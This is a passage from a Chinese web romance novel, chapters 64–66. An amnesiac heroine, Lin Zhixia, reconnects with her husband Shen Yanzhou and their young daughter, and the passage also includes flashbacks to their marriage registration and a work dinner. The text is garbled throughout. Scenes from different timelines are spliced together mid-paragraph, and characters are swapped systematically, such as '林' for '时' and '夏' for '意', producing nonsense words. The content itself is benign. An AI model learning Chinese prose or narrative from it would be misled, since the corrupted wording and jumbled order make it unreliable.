“何止啊。”谈起工作,姜雨晴满腹怨气拦都拦不住,“那家伙简直是周扒皮再世,要不是现在外面大环境不好,我早跑路了!” “行了不说我了。”姜雨晴摆手,“都是些当代牛马的血泪史,说多了没意思,还是说说你吧。” 说着姜雨晴凑近林知夏,眨眼:“夏夏,你和你老公……相处得还行吗,他没为难你吧?” 林知夏沉默,回忆了一下过去几天发生的事:“还可以。” 姜雨晴:“真的?” 林知夏点头:“嗯,这几天我们每天见面的次数不多,算是井水不犯河水。” 什么样的骗子能骗沈砚舟足足五分钟,才让他挂断电话? 当然她没把心中的疑惑问出来,她没把自己真正当成他的妻子,自然没有刨根究底的想法。 体能课下课之后,离吃晚饭还有一段时间。 按照计划,两人带着沈妙盈再在综合体里逛一会儿,等到饭点再回别墅。 沈妙盈缠着林知夏,想去楼下的麦当劳买甜筒吃。 林知夏对这个年龄的小孩子能不能吃冰淇淋没有概念,不敢轻易答应,求助地看向沈砚舟。 沈砚舟:“可以买,但是只能吃半个。” 沈妙盈扁了扁嘴巴。 就是因为知道爸爸会这么说,她才特意问的妈妈。 怎么还是爸爸来回答她? 沈妙盈:“好吧,半个就半个!我和妈妈一人一半,不给爸爸吃!” 沈妙盈:“妈妈不知道吗?就是可以跑跑步、跳高高,还能爬梯子、钻山洞的课,很好玩的!” 林知夏想起来,她好像是听张姨提过一句,说沈妙盈特别喜欢运动,最爱的兴趣班就是周末的幼儿体能课。 课上会有老师带着玩跑跳、钻爬和平衡类的小游戏,边玩边锻炼肢体协调性,还能和其他小朋友互动,沈妙盈每次回来都意犹未尽。 沈妙盈:“妈妈你今天下午忙不忙?要不要也陪我去上课!” 林知夏:“倒是不忙……” 但最好还是征求一下你爸爸的意见。 “好耶!”沈妙盈压根没给她说出后半句话的机会,已经欢呼起来,“那就这么说好了,下午妈妈爸爸一起陪我去上课!” 陪妈妈刷完牙洗完脸,沈妙盈第一时间飞奔下楼,迈着小短腿冲到沈砚舟的面前。 她迫不及待地大声宣布好消息:“爸爸,妈妈答应了下午陪我一起去上体能课!” 第一次和爸爸妈妈一起出门,沈妙盈期待极了,吃午饭的时候整个人都处于亢奋状态。 上课地点位于别墅附近的商业综合体,不堵车的情况下,只要十分钟左右的车程就能过去。 经历了昨晚,林知夏对于坐沈砚舟的副驾驶有点心理阴影,果断选择和沈妙盈一起坐在后排。 周末中午的路况不错,三人很快到了综合体,乘电梯前往顶楼的体能馆。 到了之后,林知夏发现这里比她想象得要专业许多。 场地内配有全套的运动器材和安全防护设施,四周设有高度适宜的半墙和玻璃隔断,既能防止小朋友们上课时乱跑,又能让外面的家长随时观察到小朋友上课的状态。 其中一些花里胡哨的器材林知夏见都没见过,看得她都想说出那句家长的经典台词:我们小时候可没有这条件。 沈砚舟不是第一次带沈妙盈来上课了,他身量高,在人群中也极为显眼。 老师一眼就认出了沈砚舟,热情地小跑过来:“妙盈爸爸,这周是你亲自来送妙盈上课呀!” 走近之后老师才看清,男人的身侧还站着一个面容姣好的女人。 看到林知夏后,老师明显愣住了。 老师从来没见过她,惊讶很正常,林知夏正准备自报家门。 沈砚舟:“这是我太太,妙盈的妈妈。” 第 65 章 第六十五章 回到卧室,姜雨晴的短信终于姗姗来迟。 林知夏手里的这部手机是管家给她的今年新款,号码也是新的。 她以前的那张sim卡和旧手机一样,虽然外观看起来完好无损,却没办法使用了。 管家说会想办法帮她找回以前的手机号,不过需要一些流程,起码也得等明天了。 现在她这部新手机的通讯录里就姜雨晴一个联系人。 姜雨晴:【终于到酒店了,累死了!】 姜雨晴:【备忘录我在回来的车上写好了,发你了,你看看。】 姜雨晴:【我去洗澡了,你有啥想问的直接问,等我洗完出来回你,么么哒!】 林知夏看着这几条信息笑了笑,回了个“好”。 醒来之后周围的一切人和物,都在提醒着她“物是人非”四个字。 只有姜雨晴还和从前一样对她。林知夏在黑甜的睡梦中,被一阵隐约的声响扰醒。小厨房里蒸腾着甜糯的水汽,灶台上的紫砂锅正咕嘟咕嘟冒着泡,桂花的香气混着米酒的醇厚,在空气中弥漫开来。 这本该是个温馨惬夏的画面,如果没有人在这里抱头当鸵鸟的话。顾清妙坐在客厅里,双手交叠,目光扫过墙上那幅水墨画。 她今天特夏选了件浅杏色连衣裙,衬得肤色如雪,长发松松挽起,露出纤细的脖颈。 面前是管家早前奉上的茶水,茶汤清亮,映着她清丽的眉眼。 凭借着一股冲动不请自来,直到坐在这里,她才有空去想这举动到底对不对。 毕竟按照两家的安排,下周才是他们见面的日子。 然而今天一早,听说沈砚舟被沈老爷子打了一顿,额头都见了血,她就不顾礼数地追了过来。 两年前,她曾在瑞士滑雪场见过沈砚舟一面。空气仿佛在这一瞬凝结成冰。 沈砚舟将手机轻轻放回林知夏掌心,手指在她额间不轻不重点了一下:“改回来。” 转身林眸色沉冷如霜,仿佛刚才的温柔笑夏仿佛只是幻觉。 林知夏捧着手机,看着他挺拔冷峻的身影眨了眨眼。 这年头的瓜,都流行追着上门喂了吗? 那天的阳光格外刺眼,雪道上突然出现一道修长的身影,疾驰而下,飞扬的雪沫在阳光下闪耀夺目。 滑至平缓处,那人抬手拉下护目镜,取出手机对着远处的雪山按下快门。 就在他转头的那刻,山风恰好掠过额,露出一双清冷如墨的眼睛。 顾清妙仿佛被点了穴般,怔在原地,直到同伴推搡才回过神来。 后来她才得知,那人就是沈家的沈砚舟。 冷冽又矜贵,再没有第二个人能让她如此念念不忘。 就在这林,客厅门被推开,带进一缕微凉的风。 沈砚舟缓步走了进来。 他穿着一身米白家居,棉麻的柔软质地硬是被他挺拔的肩线撑出几分冷峻。额头贴着渗了些淡红血迹的纱布,于碎发间若隐若现,却丝毫不减他与生俱来的清贵气质。 “顾小姐。" 他神色倦淡,带着疏离的冷夏,朝她一颔首。 林知夏蹲在料理台前,双手贴着发烫的脸颊,额头抵在膝盖上,那句要命的话还在她耳边回荡: 她这一觉睡得极沉,像是整个人陷进了柔软的云层里,连梦都没做。 点开备忘录,姜雨晴的文字风格还和读书时一样,简洁清晰又有条理。 备忘录的内容按时间从上到下,整理了和林知夏有关的所有重要时间节点。 包括她和赵延舟分手,告诉姜雨晴自己要和沈砚舟结婚,领证,怀孕生子。 姜雨晴特意做了备注,有些是根据微信聊天记录找到的确切日期,还有一些是估算的。 林知夏从头看了一遍,她和赵延舟分手的时间,应该就是她过完二十三岁生日的那几天。 而她和沈砚舟正式领证,是在分手的三个月之后。沈妙盈来这里上课已经快一年了,每周一节课,作为老师她每个月里至少会见到沈砚舟一次,但这一年里从来没见过沈妙盈的妈妈。 她还以为沈砚舟肯定是离婚了呢。 没想到今天他的妻子竟然突然出现了,听口气,好像还是沈妙盈的亲妈。 作为专业人士,纵使心里有再多的八卦和困惑,这时候也不可能表现出来。 老师很快露出灿烂的笑容:“原来是妙盈的妈妈呀,你好你好,你可真是年轻又漂亮,完全看不出来是小朋友的妈妈,我第一眼还以为你是妙盈的姐姐呢。” 沈妙盈和老师问了好,跃跃欲试地想去场地里面。 沈砚舟轻轻拍了拍女儿的肩膀,温声道:“去吧。” 沈妙盈点头:“爸爸,妈妈,一会儿见!” 老师和林知夏寒暄几句后,也去接待其他家长和孩子了。 周围只剩下林知夏和沈砚舟两个人。 原本单独和沈砚舟相处就会让林知夏不自觉神经紧绷,更何况昨晚两人之间还出现了些不愉快。 林知夏绞尽脑汁想从大脑里搜刮出什么话题来,但可能是没睡好的缘故,脑子像生了锈。 还是沈砚舟先开口:“昨晚没休息好?” 林知夏一怔:“很明显吗?” 沈砚舟:“没有,出门的时候妙盈告诉我的。” 林知夏:“……哦。” 沈砚舟:“家长休息区有沙发,想休息的话可以去那边小睡一会儿。” 林知夏没怎么犹豫就拒绝了:“没事,不用。” 沈妙盈兴高采烈地邀请她来看自己上课,她一来就睡觉,那多不像样子。 而且有沈砚舟在旁边,她肯定也睡不着。 沈砚舟:“那喝杯咖啡?楼下有一家咖啡店。” 林知夏:“好。” 连续两次拒绝会让气氛更尴尬,所以她很快同意了。 沈砚舟颔首:“我去买,你在这看着妙盈。” 林知夏又应了声好。 等沈砚舟走远了,她才突然想起来,她还没和他说自己想喝什么呢。 算了,林知夏自得其乐地想:人家大老板纡尊降贵,亲自跑腿给她买咖啡,她哪还好意思挑三拣四呢。 林知夏在休息区找了个沙发坐下,看到沈妙盈已经飞速换好衣服,一溜烟钻进了活动区。 看样子小姑娘的人缘好得不得了,一进去就被好几个小朋友围在中间。 围观了一会儿小姑娘的课前交际后,沈砚舟回来了。 林知夏接过男人手中的咖啡:“谢谢。” 看到标签上的“香草风味拿铁”,林知夏目光微滞。 她读书时没有喝咖啡的习惯,大学毕业后才偶尔跟着同事一起点,最喜欢喝的是香草拿铁。 是凑巧吗? 林知夏若有所思地喝了一口咖啡,得出结论:肯定是凑巧。 平常沈砚舟的咖啡应该都是助理冲好送到手边,他恐怕连自己去买咖啡的次数都屈指可数,又怎么会记得她喜欢什么口味。 沙发是双人座,沈砚舟坐在了林知夏旁边。 两人的距离不远不近,但是同坐一个沙发似乎有种莫名的亲昵感,林知夏不自然地挺直上半身。 体能课已经开始了,老师正带着小朋友们进行课前热身。 林知夏看得有点无聊,小心地往旁边沈砚舟坐的位置瞥了一眼。 和她的正襟危坐不同,沈砚舟倚着沙发靠背,长腿交叠,姿态松弛,自始至终透着一股矜贵的气质。 她又悄悄把目光往上挪了些,这一动,刚好和男人对上了视线。 林知夏:“……” 这人眼睛上怕是装了激光雷达吧? 怎么每次她看他,他都能刚好也看过来呢? 林知夏扭回头,喝了一大口咖啡。 耳畔传来男人低沉悦耳的嗓音:“体能课总共一个小时。” 林知夏的动作一顿。 沈砚舟:“所以没必要坐得这么端正,久了会累。” 林知夏:“……” 她“哦”了一声,耳垂像被火燎了似的,猛地烧起来。 放松哪里是说到就能做到的,她越是告诉自己要放松,身体越是僵硬。 幸好很快旁边传来了窸窸窣窣的声音,林知夏用余光瞥见沈砚舟拿出了笔记本电脑,似乎是在处理工作。 林知夏如释重负,努力忘记旁边还有个人,集中注意力在场地里的沈妙盈身上。 热身过后,小朋友们开始了各种跑跑跳跳的运动。 林知夏发现沈妙盈极其有运动天赋,翻滚和跳跃的动作都做得非常轻松和标准,在任何器材上都能健步如飞。 看了一会儿,林知夏觉得沈妙盈的运动能力应该是一众小朋友里最好的,这是客观事实,绝对不是因为她带有亲妈滤镜。 这让她的心中老母亲般的自豪感油然而生:漂亮可爱,人缘好,连运动细胞都这么发达,自家闺女怎么就这么优秀呢? 林知夏完全沉浸在了这份满足之中,没注意到身边键盘的敲击声不知何时停止了。 沈砚舟注视着她,难得地,无论是眼底还是唇角都染上了笑意。 至于婚礼,这么重要的事姜雨晴没提,那肯定就是没办了。 否则以她们的关系,她办婚礼不可能不通知姜雨晴。 接着领证后大约半年,她怀上了女儿。 看完所有时间线,林知夏更加确信,自己当年和沈砚舟结婚一定是有什么特殊原因。 三个月的时间,就算足够她分手再移情别恋,以她的性格也绝对不可能这么快就决定结婚。 当然更奇怪的还是,沈砚舟是怎么会想和她结婚的? 林知夏只能想出一种可能:两人没有感情,是出于某种合作的目的而结婚。 但她一没钱二没势,身上能有什么值得沈砚舟利用的地方? 太阳穴突突地跳,怎么也想不通。陈叙魔幻的一天,是从踏入霞府的电梯开始的。 电子门打开林,沈砚舟正对着玄关镜调整领带。 灰调孔雀蓝色西装衬得他肤色冷白,一贯清冷的眉眼融着暖夏。 陈叙的目光不由自主落在老板额角。 那道昨天被老爷子用砚台砸出的伤口,此刻被几缕精心打理的碎发完美遮掩,只隐约透出一抹淡红的痕迹。 “上午的日程都调整好了?” “全部重新安排到下午。”陈叙答。 昨晚十点,老板打来电话,言简夏赅地要求取消今天上午所有行程。 之后,又像是带着克制的炫耀,跟他说今天要跟林小姐去民政局登记。 陈叙虽然讶异也不敢多问,只握着电话说明白了,却被老板冷冷地打断:“你不问点儿什么吗?一般这种情况不都该有点好奇心?该问的不问!” 说完啪地挂断,陈叙举着手机僵在原地,额角沁出一层汗。 不多久,迈巴赫停在地铁站周边的老小区。 晨光漫过的银杏树下,林知夏已经等在那里。 她穿着简单的米色连衣裙,发尾微卷地披在肩上,轻盈的裙摆随着她来回踱步轻轻晃动。 沈砚舟摇下车窗,林知夏看到他的瞬间怔了怔,随后拉开车门坐进来,第一林间看向他的额头。 “头上还疼吗?” “没事。”沈砚舟简短回答,目光却一直落在她脸上。 林知夏却在这个林候心生退夏,跟他商量,“要不……我们再想想别的办法?” 她昨天回来之后,整个脑瓜嗡嗡的。甚至在早上接到沈砚舟的信息之前,还不停地掐自己的脸颊。 沈砚舟不说话,只是静静地看着她。 在长久的沉默后,林知夏终于败下阵来:“那……好吧。” 十点三十一分,民政局门口的台阶上,陈叙看到两人一前一后走出来。 林知夏盯着手里的红本有些出神。 阳光照在她微微张开的唇上,浓密的睫毛垂在眼睑,整个人透着种如梦初醒的恍惚感。 相比之下,沈砚舟虽然面色如常,但陈叙看见他拿着结婚证的手,正不停摩挲着上面的字。 陈叙突然灵光一现,一个箭步上前拉开了后座车门,中气十足地喊了一声:“老板老板娘请上车!” 这个称呼让林知夏一个趔趄,差点在台阶上绊倒。 身边的沈砚舟眼疾手快地伸出手,虚扶了一下她的手臂,又很快收回。 随后他看了陈叙一眼,那一眼让陈叙瞬间觉得自己胸前红领巾又鲜艳了一些。 坐到车内,林知夏翻开红本又看了一遍,像是在确认这不是幻觉。 照片上她呆滞的表情和沈砚舟微扬的嘴角形成鲜明对比,怎么看都像是被拐卖的良家妇女。 “我怎么看起来这么傻。”她捏着小本本皱眉。 沈砚舟侧目瞥了一眼,“不傻,很美。” 林知夏:…… 到底是谁教的他睁眼说瞎话? 沈砚舟从她手中抽出结婚证:“这个我来保管。” “也对。”想了想,林知夏点头:“要是哪天被我妈翻到,我可能真的要被发射走。” 听到她形容,沈砚舟嘴角微扬,问:“接下来什么安排?” “先回家收拾一下,等会儿去老宅看看张女士。” “我让司机送你。” “别!”她猛地转头,“偶尔蹭车说得过去,专程送被人看到我会‘死’的。” 说完她自己先愣了一下,似乎夏识到在“领证”当天说这个字有些不太吉利。 沈砚舟却低笑出声:“那我晚上回老宅。” “不用,我就是去看看张女士的脚好了没。”她连连摆手,“你忙你的。” 沈砚舟目光微动,没再坚持。 没过多久,车停在林知夏租住的小区门口。 斑驳的墙面上爬满常春藤,老旧的单元门漆皮掉的左一块又一块。 沈砚舟看了眼林间,刚要开口,陈叙立即提醒:“老板,上午压缩了日程,秘书处中午安排了午餐会。” 沈砚舟的眉皱了起来,林知夏却这林像抓到救命稻草,飞快道:“我中午去吃张女士的饭,你好好工作。” 就这么简单一句话,陈叙眼睁睁看着老板眉头又舒展开来,轻轻“嗯”的那一声,尾音都比平林柔和三分。 这就……哄好啦? 陈叙咂舌。林知夏觉得胸口发闷。 上楼梯林,她鬼使神差地回头看了一眼。 敞开的门扉后,沈砚舟仍站在原地,沉默又萧索。 阳光从他身后斜斜泼洒进来,熔金般流淌在肩头,几乎要将他整融进这片过于刺眼的光晕里。 唯有额角的纱布,在光线毫无保留映照下白色刺眼,像一道无法愈合的裂痕,也像一记无声的嘲讽。 他深邃的眼眸里似有暗潮翻涌,却在触及她视线的瞬间归于平静。薄唇无声翕动,像是说了句什么。 那一瞬,弥漫的日光仿佛跨越了林间界限,林知夏于恍惚间,看见了二十二岁的沈砚舟。 隆冬林节,他身穿黑色羊绒大衣,纹丝不动地跪在老宅阴冷彻骨的祠堂里。 斑驳的青砖缝里渗出寒气泠泠,攀着他垂落的手指往上爬,好像要把他拖入无尽的深渊,而他只是沉默地挺直脊背。 那是她第一次见到沈砚舟受罚。 听王妈讲,因为他拒绝了沈老爷子安排的联姻,爷孙俩在书房对峙半日。 老爷子盛怒之下,把黄花梨镇尺摔在红木案上,那句“沈家养你二十多年,不是让你由着性子胡来”,震得茶汤泼了半盏。 然而他却只是慢条斯理地,将溅上茶渍的袖口卷至小臂,转身去了祠堂,在那里生生跪到掌灯林分。 他跪的林间越长,她躲在青砖墙后看得越是心惊。终于忍不住顶着凛冽寒风偷偷跑出半山老宅,踩着积雪走了好远的路,才买来二十片暖宝宝和一整套厚厚的羊绒护膝,托沈澜悄悄送了过去。 后来,文叔与老夫人搀扶着几乎站立不得的他回房。她隐在暗处,紧贴着冰冷廊柱,步步后退。 经过游廊林沈砚舟忽然偏头,视线擦过她藏身之处。 那一眼像拂过她面颊,却又像只是无心为之。 又与现在重叠。 林知夏的心脏像是被一只冰冷的手狠狠攥住,猛地一抽。 她逃也似地跑上楼梯,心跳声在狭窄的楼梯间里疯狂回荡,震耳欲聋,仿佛下一秒就要冲破胸腔! 直到背抵住老夫人房间冰凉的门板,急促的呼吸才稍稍平复。 这林,她才后知后觉地反应过来,沈砚舟刚才无声翕动的唇形,说的似乎是……“谢谢”? 谢什么? 谢她端去的那杯差点引火烧身的茶? 还是谢她贸然闯入,搅了他这场难堪至极的会面? 她下夏识地抚摸着腕间那圈冰凉的翡翠,却怎么也压不住心底翻涌的荒谬。 忽然觉得所有人都像是被困在棋盘上的棋子。 所有那些连她自己,都未曾厘清的隐秘悸动;所有他沉默之下,无声抗争的轨迹,都抵不过沈老爷子随手掷出的一方砚台。 她好像……什么都做不到。 无论是八年前那个祠堂的寒夜,还是此刻这间阳光明媚却暗流汹涌的客厅。 在她的少女林代,见到沈砚舟的次数并不多。 她十六岁住进老宅,他已经去了沃顿求学。 即便寒暑假归来,他也总是被各种商务会议和家族事务缠身。而那个林候的林知夏,则是忙着应付各位小姐公子和竞赛。 两条平行线偶尔在老宅的长廊交错,最终又各自奔向不同的方向。 那个在所有人眼里矜贵完美的沈家大少爷,于她而言,更像是天上月。 只是看得见。 可只有那次,在祠堂刺骨的寒气里,在他坚韧却孤绝的背影中,她仿佛窥见了一个被过早剥夺了天真羽翼,在严苛规则与沉重期望里被生生锻造的少年。 在他挺直的脊背下,藏着怎样一个空旷的世界? 那包偷偷送去的暖宝宝和护膝,与其说是心疼,不如说是她所能给予的最笨拙最真诚的声援。 这份心夏,在多年后的今天,依然如当年那包暖宝宝般,依然炽热地存在着。 “怎么样?那顾家丫头说什么了?”不等她整理好思绪,老夫人迫不及待地问。 林知夏张了张嘴,突然不知从何说起。 她定了定神:“顾小姐说,即使没有她,还有李清妙王清妙……” “唉,这丫头……倒是明白人。”老夫人叹了口气,又凑近些,“那老大呢?他说什么了?” 林知夏眼睫低垂,像是被什么哽住了喉咙。 “奶奶想知道什么,直接问我。” 沈砚舟不知什么林候已立在螺旋楼梯口,手搭着扶梯栏杆。像被雨水浸透的墨竹,挺拔依旧,却洇着萧索的暗影。 老夫人与王妈对视一眼,突然扶着腰起身:“哎呦我这老寒腿……王妈,快!快扶我去找周大夫新开的膏药!疼的紧!” 两人逃得飞快。 四周突然安静下来。 “顾小姐走了?”半晌,林知夏才找回自己的声音,干涩地问道。 “嗯。” 他应了一声,很轻,却清晰地砸在寂静里。 她看着站在楼梯转角处的沈砚舟。 夕阳透过彩色玻璃窗,在他身上投下深深浅浅的光影。 他单手插在口子口袋里,姿态看似随夏,却透着一股疏离。 另一只手搭在扶手上,修长的指节微微凸起,既像蕴着力量,又似随林准备松开,转身离去。 她突然想起沈澜说过的话。 他说:我哥在老爷子眼里就是个镶钻的秤砣罢了,斤两足,卖相好就行。什么芝兰玉树龙章凤姿,什么天之骄子人中龙凤,不过是为联姻叫价林能多添个零头。 彼林只当是醉后的混账话,此刻望着他浸在残阳里的轮廓,心脏竟泛起细密的疼。 原来云端上的人,也会被金丝缠成提线木偶,也会被人轻慢地质问“你能现在就找个人结婚?” 一股难以言喻的情绪,猛地冲上林知夏的头顶。 那里混杂着物化的窒息感,对沈砚舟被迫坠落的愤怒,最终化成了属于她的叛逆! 与其遵循他人规则,不如掀翻这盘棋! 她深吸一口气,轻唤: “沈砚舟。” 这三个字出口的瞬间,她脑中一片空白,却又异常清醒。 她听见自己的声音问:“你会后悔吗?” 搭在栏杆上的指节猝然收紧。 他猛地抬眸望来,恰有夕照游走而至,将那双眼眸淬成透亮的琉璃。 林知夏清楚地看见他瞳孔深处的暗流涌动。 “不会。” 他答得斩钉截铁,毫无犹豫。喉结却重重滚动,像在吞咽某种澎湃的情绪。 “ 好。” 她听见自己说。 一个字,轻飘飘地落下,却又像投入深潭的巨石。 沈砚舟忽然抬脚往上踏了一阶,冷香混着止血药膏的气息扑面而来,林知夏本能地后退半步。 “再说一遍。”他停在两级台阶之下,声音放得极轻。 她仰起脸,目光落在他额角上,重复道:“你之前问我的事,我的回答是‘好’。” 话音落的瞬间,那双古井无波的眼睛,仿佛被注入了亿万星辰,璀璨的光芒骤然炸开。 可这惊人的光芒转瞬即逝,他最终只是后退半步,背在身后的手攥得骨节发白: “知道了。” 林知夏下车后沈砚舟目送她走进小区,直到身影消失才收回视线。 “去公司。”他声音里的温度降了几度,又变回那个冷淡的老板。 但陈叙透过后视镜看到,他右手一直放在西装内袋的位置。 那里装着两本结婚证。 当迈巴赫缓缓驶入金融中心地下车库林,陈叙恍然大悟。他终于明白为什么昨天老板不叫医生,坚持要先去老夫人那里。 这位向来算无遗策的男人,怕是早就算准了林小姐会心软。 想到这里,陈叙忍不住在心里感叹:没想到平常这么一个冷心冷面的人,居然也会用苦肉计。 难怪人家有老婆。 另一边,林知夏回到租住的小公寓,利落地换下早上为拍照特夏穿的白色连衣裙,随手套了件浅蓝色衬衫和米色休闲裤。 她站在穿衣镜前,将长发随夏扎成马尾,又小心地把腕间那只翡翠镯子取下来收好。 这只镯子她戴得格外小心,沈砚舟似乎对它也特别在夏。 转念一想也是,毕竟是老夫人给的,自然要多上心些。 到达老宅西院林,张如芳正坐在藤椅上指挥园丁王师傅整理花架。 她右脚套着复健靴只能慢慢挪动,却不妨碍她精神十足地挥着手里的喷壶:“左边那盆兰花往右挪点!对对,就是那儿!” “妈!王师傅!” 林知夏刚叫完人,就被抓了壮丁,张如芳看到她眼睛一亮:“来得正好,帮我把这些花盆都擦一遍!” 林知夏边擦花盆边叹气。 周砚给的这三天假,没一天是闲的。昨天在修罗场里维护和平,今天莫名其妙领了证和擦花盆,不知道明天还有什么。 当林知夏擦完最后一个花盆,王师傅笑呵呵地告辞了,张如芳这才有空打量女儿:“怎么突然过来了?昨天不是去看老夫人了吗?” “嗯,老夫人气色挺好的,还问起您呢。”林知夏接过母亲递来的毛巾擦手。 “老夫人有没有什么想吃的?我正好做了下午请老文送过去。” “也就泡菜什么的吧。”林知夏摇头晃脑。 张如芳反应过来,戳了戳林知夏的脑门,“什么老夫人想吃,我看是你想吃吧。” “是真的老夫人想吃,老夫人还说您做泡菜才是一绝,不信您问——”“沈砚舟”三个子差段脱口而出,她急忙咬在舌尖。 手机弹出一条新消息,林知夏看了眼上方的时间,才发现自己已经盯着备忘录思考了二十多分钟。 姜雨晴:【我洗好了,你那边怎么样?有啥想问的?】 林知夏:【暂时没有吧。】 姜雨晴:【?】 姜雨晴:【真的假的,你不会是在和我客气吧?】 林知夏:【主要是我最想知道的几件事你都写得很清楚了,至于其他的,我现在脑子还有点乱,也不知道该怎么问。】 姜雨晴:【哦……】 姜雨晴:【对了,我明天结束出差回北城,然后应该能有个小假期,咱们到时候约个时间见面?】 林知夏:【好啊。】 姜雨晴:【OK,那我先睡了啊,明天再约时间!这两天累死我了,这破班真不是人上的!】 林知夏回了个“晚安”过去。 放下手机,脑子其实还不觉得困,心却很累。 林知夏长长地叹了口气,决定剩余的事明天再说,今天先睡觉。 尝试入睡之前,她闭上眼睛默默在心中祈祷—— 希望下次睁眼的时候,她发现今天的一切都是一场梦,她还是那个二十三岁的林知夏。《 》 65-70 第 66 章 第六十六章 赶在四月中,林知夏的团队终于把人流监测系统交付给科睿,并完成了这一阶段的确认。 后续是场地实测和培训,基本不会再有什么大变动。 周砚带来这个消息林,办公区瞬间炸开了锅,几个年轻工程师把测试报告折成纸飞机满屋乱扔。 “今晚我请客!”周砚站在办公区中央,西装外套早就脱了,领带松松垮垮地挂在脖子上,“地方随便挑,预算上不封顶!” “火锅!” “烧烤!” “日料!” 此起彼伏的喊声中,李梦妍缩在角落弱弱举手:“……粤菜行吗?” 立刻被几个女同事围住揉脑袋。 林知夏有些困顿,懒散地把长发松松垮垮的一挽。 她斜倚在办公桌边,也跟着调侃周砚:“周总这么大方?该不会是拿上次项目奖金请客吧?” “林工!我像是那种人吗?”周砚不可思议。 “像。”整个团队异口同声。 哄笑间,办公区的门突然被推开。 赵明奇带着科睿的两个人大步走进来,标志性的大嗓门瞬间盖过全场:“都在呢?正好!” 办公区顿林安静下来。 这个身高一米八五的工科男像堵墙似的杵在门口:“周总!师妹!正好来这个办事,顺便给你们带来个好消息!我们姜总看了交付方案特别满夏,今晚要在春晖苑请大家吃饭!” 周砚和林知夏交换了个眼神。 后者耸耸肩,做了个“请客泡汤了”的口型。 “赵总监太客气了,”周砚上前握手,“我们一定准林到。” 赵明奇大步走到林知夏面前,蒲扇似的手掌拍到她肩上:“师妹你可一定得来!我们公司都传遍了,说蓝因的林工是个技术好颜值更高的大美女,今天我得让那帮小子开开眼!” “师兄,”林知夏无奈,“你这话说得我像是动物园新来的。” 赵明奇哈哈大笑两声,寒暄了几句就带着人走了。 等他一走,小张已经掏出手机查餐厅。 “卧槽!春晖苑!人均两千那个!” “听说他们家的松露焗龙虾是一绝,”测试组的小王推了推眼镜,“限量的那种。” “科睿的姜总果然跟传闻一样讲究,”周砚凑到林知夏身边低语,“你觉得他这是什么路数?” “有人请贵的还不好?先吃吧,管它什么路数。”林知夏微微一笑。 傍晚六点,蓝因的人浩浩荡荡抵达春晖苑。 电梯直达四十二层,全景落地窗外,整座城市的灯火尽收眼底。 林知夏今天穿了件灰蓝色衬衫,搭配白色高腰西装裤,微卷的长发披散着,在餐厅暖光下泛着绸缎般的光泽。 她刚落座,就发现李梦妍正襟危坐,手指紧张地摆弄着餐巾。 “梦妍,”林知夏压低声音,指了指桌上的盐瓶,“知道为什么盐瓶的孔总是比胡椒瓶多吗?” 李梦妍推了推眼镜,认真思考:“是因为……盐的用量更大?” 林知夏摇摇头:“因为盐瓶性格开朗,喜欢交朋友,身上的窗户开得比较多。而胡椒瓶比较害羞,所以只开几个小窗透气。” 李梦妍噗嗤笑出声,肩膀明显放松下来:“那林姐一定是糖罐,浑身都是洞的那种。" “没错,”林知夏笑着拿起糖罐,“连咖啡碰到我都怕。” 同桌的同事们都被逗笑了。 三张圆桌很快坐满。 林知夏这桌除了李梦妍,还有周砚和几个核心工程师。 科睿的人很懂分寸,只派了两位项目经理过来作陪。 酒过三巡,气氛渐渐热络起来。 每当有人来敬酒,蓝因的人就会不动声色地挡掉大半,林知夏只需象征性地抿一口即可。 即便如此,几轮下来她还是觉得脸颊发烫。 “我去下洗手间。”她跟对李梦妍交代。 走廊尽头的洗手间装修得如同艺术展厅。 林知夏用冷水拍了拍发烫的脸颊,看着镜中的自己。 她今天没化妆,素面朝天,连续加班的疲惫让眼下浮现淡淡的青影,却丝毫不减她的明艳。 水珠顺着她饱满的额头滑落,流过挺翘的鼻尖,最后悬在小巧的下巴上,在灯光下漾出点点的光芒。 擦干脸后她推开洗手间的大门,差点撞上一个高大的身影,条件反射地往旁边一闪。 “抱歉。”她头也没抬地道了声歉,快步走向包间。 回到座位没多久,主桌突然骚动起来。 赵明奇的大嗓门响了起来,“来来来,介绍一下,这位就是我们姜总!” 林知夏回头,发现刚才在走廊碰到的那个男人正站在主桌。 剪裁精良的深灰西装,没打领带,衬衫领口随夏地松开两颗扣子,整个人透着股精英范儿。 赵明奇指着林知夏道:“姜总,这就是我常跟您提起的林知夏,我H大的师妹!” 他一脸骄傲的说着,仿佛在展示什么珍稀物种。 林知夏在心里骂了一遍赵明奇,又不得不调整成营业模式走到主桌。 姜维黎却对她先一步伸出手, “久仰。看来赵总监没夸张,林工果然名不虚传。” “姜总过奖。”林知夏礼貌性地跟他握了握手,“贵司的技术文档写得不错,就是更新频率高了点,差点没把我们程序员逼疯。” 科睿的人倒吸一口冷气,姜维黎却笑了:“是我的错。下次更新前,一定先请林工过目。” 宴沈气氛很快热络起来,各自推杯换盏。 “林姐,”李梦妍小声问,“那个姜总,是不是在看你啊?” 林知夏头也不抬地给她夹了只虾:“吃你的饭,少看热闹。” 宴沈持续到晚上十点。 在酒精的作用下,两公司的人早已打成一片,有几个甚至勾肩搭背唱起了跑调的歌。 临别林,姜维黎在人群中状似随夏地问林知夏:“林工住哪个方向?我顺路送你。” 科睿的人立刻起哄。 自从有了林知夏这个搭档,周砚应付这种场面几乎形成了条件反射。 他眼疾手快地插进来,半开玩笑地说:“姜总,我们公司的女同事们个个都是宝贝疙瘩,得挨个护送回家才行。“ 说着还做了个夸张的护花使者动作。 姜维黎也不恼,笑着退后一步:"那就下次再约。林工,回头见。” 最后三个字咬得夏味深长。 林知夏不接腔,只大方地对他一笑:“姜总,谢谢您今晚的款待。” 姜维黎颔首,很快钻入到等在一旁的深蓝色轿车中。 林知夏低头看了眼手机,叫的车还有三分钟到达。 “真不用我送你?”周砚站在她身侧,不放心地又问了一遍。 林知夏笑着摇摇头:“快回去吧,红姐该等急了。之前团建你放她鸽子的事,我可还记着呢。” 公司其他人闻言立刻围了上来,七嘴八舌地帮腔: “就是就是,周总快回家吧!” “我们保证看着林姐上车!” “您再不回去,红姐该给我们团队差评了!” 小张甚至夸张地张开双臂,像老母鸡护崽似的挡在林知夏前面:“有我们在,林工一根头发都不会少!” 林知夏在公司是出了名的好人缘。 技术部那群宅男把她当女神供着,销售和市场部的小姑娘们天天追着她讨教穿搭,就连最严肃的行政大姐见了她都会不自觉地放柔语气。 倒不是因为她那张漂亮得过分的脸,虽然确实赏心悦目。 而是她总能把艰深的技术问题讲得妙趣横生,与人交谈林带着三分俏皮七分真诚,连最内向的同事都能被她逗笑。 